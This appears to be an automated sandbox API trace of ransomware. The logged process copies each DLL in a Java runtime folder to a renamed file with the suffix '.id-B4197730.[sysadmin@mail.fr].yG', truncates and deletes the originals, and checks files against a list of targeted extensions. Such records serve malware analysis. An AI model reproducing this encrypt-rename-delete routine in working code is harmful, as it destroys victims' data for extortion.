	[0183.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0183.636] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.636] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0183.643] GetLastError () returned 0x0
	[0183.643] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x40e40, lpOverlapped=0x0) returned 1
	[0183.681] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x40e50, lpOverlapped=0x0) returned 1
	[0183.989] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.989] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0183.989] SetEndOfFile (hFile=0x3a4) returned 1
	[0183.990] CloseHandle (hObject=0x3a4) returned 1
	[0183.990] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.990] SetEndOfFile (hFile=0x340) returned 1
	[0183.993] CloseHandle (hObject=0x340) returned 1
	[0183.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.993] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1
	[0183.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.993] lstrlenW (lpString=".doc") returned 4
	[0183.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.994] lstrlenW (lpString=".docx") returned 5
	[0183.994] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0183.994] lstrlenW (lpString=".pdf") returned 4
	[0183.994] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.994] lstrlenW (lpString=".xls") returned 4
	[0183.994] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.994] lstrlenW (lpString=".xlsx") returned 5
	[0183.994] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0183.994] lstrlenW (lpString=".ppt") returned 4
	[0183.994] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.994] lstrlenW (lpString=".zip") returned 4
	[0183.994] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.994] lstrlenW (lpString=".rar") returned 4
	[0183.994] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.994] lstrlenW (lpString=".bz2") returned 4
	[0183.994] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.994] lstrlenW (lpString=".7z") returned 3
	[0183.994] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.994] lstrlenW (lpString=".dbf") returned 4
	[0183.994] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.994] lstrlenW (lpString=".1cd") returned 4
	[0183.994] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.994] lstrlenW (lpString=".jpg") returned 4
	[0183.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0183.995] lstrlenW (lpString=".doc") returned 4
	[0183.995] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.995] lstrlenW (lpString=".docx") returned 5
	[0183.995] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0183.995] lstrlenW (lpString=".pdf") returned 4
	[0183.995] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.995] lstrlenW (lpString=".xls") returned 4
	[0183.995] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.995] lstrlenW (lpString=".xlsx") returned 5
	[0183.995] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0183.995] lstrlenW (lpString=".ppt") returned 4
	[0183.995] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0184.012] lstrlenW (lpString=".zip") returned 4
	[0184.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.012] lstrlenW (lpString=".rar") returned 4
	[0184.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.012] lstrlenW (lpString=".bz2") returned 4
	[0184.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.012] lstrlenW (lpString=".7z") returned 3
	[0184.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0184.018] lstrlenW (lpString=".dbf") returned 4
	[0184.018] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0184.018] lstrlenW (lpString=".1cd") returned 4
	[0184.018] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0184.018] lstrlenW (lpString=".jpg") returned 4
	[0184.018] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.019] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0184.019] lstrlenW (lpString="j2pcsc.dll") returned 10
	[0184.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.019] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19008) returned 1
	[0184.019] CloseHandle (hObject=0x340) returned 1
	[0184.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20
	[0184.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.020] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.020] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.020] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.020] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.021] GetLastError () returned 0x0
	[0184.021] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x4a40, lpOverlapped=0x0) returned 1
	[0184.027] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x4a50, lpOverlapped=0x0) returned 1
	[0184.028] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.028] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0184.029] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.029] CloseHandle (hObject=0x3a4) returned 1
	[0184.029] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.029] SetEndOfFile (hFile=0x340) returned 1
	[0184.030] CloseHandle (hObject=0x340) returned 1
	[0184.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.030] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1
	[0184.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.031] lstrlenW (lpString=".doc") returned 4
	[0184.032] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.032] lstrlenW (lpString=".docx") returned 5
	[0184.032] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0184.032] lstrlenW (lpString=".pdf") returned 4
	[0184.032] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.032] lstrlenW (lpString=".xls") returned 4
	[0184.032] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.032] lstrlenW (lpString=".xlsx") returned 5
	[0184.032] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0184.032] lstrlenW (lpString=".ppt") returned 4
	[0184.032] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.032] lstrlenW (lpString=".zip") returned 4
	[0184.032] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.032] lstrlenW (lpString=".rar") returned 4
	[0184.032] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.032] lstrlenW (lpString=".bz2") returned 4
	[0184.032] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.032] lstrlenW (lpString=".7z") returned 3
	[0184.032] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.032] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.033] lstrlenW (lpString=".dbf") returned 4
	[0184.033] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.033] lstrlenW (lpString=".1cd") returned 4
	[0184.033] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.033] lstrlenW (lpString=".jpg") returned 4
	[0184.033] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.033] lstrlenW (lpString=".doc") returned 4
	[0184.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.033] lstrlenW (lpString=".docx") returned 5
	[0184.033] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0184.033] lstrlenW (lpString=".pdf") returned 4
	[0184.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.033] lstrlenW (lpString=".xls") returned 4
	[0184.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.033] lstrlenW (lpString=".xlsx") returned 5
	[0184.033] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0184.033] lstrlenW (lpString=".ppt") returned 4
	[0184.033] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.033] lstrlenW (lpString=".zip") returned 4
	[0184.033] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.033] lstrlenW (lpString=".rar") returned 4
	[0184.033] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.033] lstrlenW (lpString=".bz2") returned 4
	[0184.033] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.034] lstrlenW (lpString=".7z") returned 3
	[0184.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.034] lstrlenW (lpString=".dbf") returned 4
	[0184.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.034] lstrlenW (lpString=".1cd") returned 4
	[0184.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0184.034] lstrlenW (lpString=".jpg") returned 4
	[0184.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.034] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0184.034] lstrlenW (lpString="j2pkcs11.dll") returned 12
	[0184.034] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.035] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=63552) returned 1
	[0184.035] CloseHandle (hObject=0x340) returned 1
	[0184.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20
	[0184.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.035] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.035] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.036] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.036] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.037] GetLastError () returned 0x0
	[0184.037] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0xf840, lpOverlapped=0x0) returned 1
	[0184.055] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xf850, lpOverlapped=0x0) returned 1
	[0184.057] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.057] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.057] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.057] CloseHandle (hObject=0x3a4) returned 1
	[0184.058] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.058] SetEndOfFile (hFile=0x340) returned 1
	[0184.059] CloseHandle (hObject=0x340) returned 1
	[0184.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.059] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1
	[0184.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.059] lstrlenW (lpString=".doc") returned 4
	[0184.060] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.060] lstrlenW (lpString=".docx") returned 5
	[0184.060] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0184.060] lstrlenW (lpString=".pdf") returned 4
	[0184.060] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.060] lstrlenW (lpString=".xls") returned 4
	[0184.060] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.060] lstrlenW (lpString=".xlsx") returned 5
	[0184.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0184.060] lstrlenW (lpString=".ppt") returned 4
	[0184.060] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.060] lstrlenW (lpString=".zip") returned 4
	[0184.060] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.060] lstrlenW (lpString=".rar") returned 4
	[0184.060] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.060] lstrlenW (lpString=".bz2") returned 4
	[0184.060] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.060] lstrlenW (lpString=".7z") returned 3
	[0184.060] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.060] lstrlenW (lpString=".dbf") returned 4
	[0184.060] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.060] lstrlenW (lpString=".1cd") returned 4
	[0184.061] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.061] lstrlenW (lpString=".jpg") returned 4
	[0184.061] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.061] lstrlenW (lpString=".doc") returned 4
	[0184.061] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.061] lstrlenW (lpString=".docx") returned 5
	[0184.061] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0184.061] lstrlenW (lpString=".pdf") returned 4
	[0184.061] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.061] lstrlenW (lpString=".xls") returned 4
	[0184.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.061] lstrlenW (lpString=".xlsx") returned 5
	[0184.061] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0184.061] lstrlenW (lpString=".ppt") returned 4
	[0184.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.061] lstrlenW (lpString=".zip") returned 4
	[0184.061] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.061] lstrlenW (lpString=".rar") returned 4
	[0184.061] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.061] lstrlenW (lpString=".bz2") returned 4
	[0184.061] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.061] lstrlenW (lpString=".7z") returned 3
	[0184.062] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.062] lstrlenW (lpString=".dbf") returned 4
	[0184.062] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.062] lstrlenW (lpString=".1cd") returned 4
	[0184.062] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0184.062] lstrlenW (lpString=".jpg") returned 4
	[0184.062] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.062] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0184.062] lstrlenW (lpString="jaas_nt.dll") returned 11
	[0184.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.063] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=21056) returned 1
	[0184.063] CloseHandle (hObject=0x340) returned 1
	[0184.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20
	[0184.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.064] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.064] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.065] GetLastError () returned 0x0
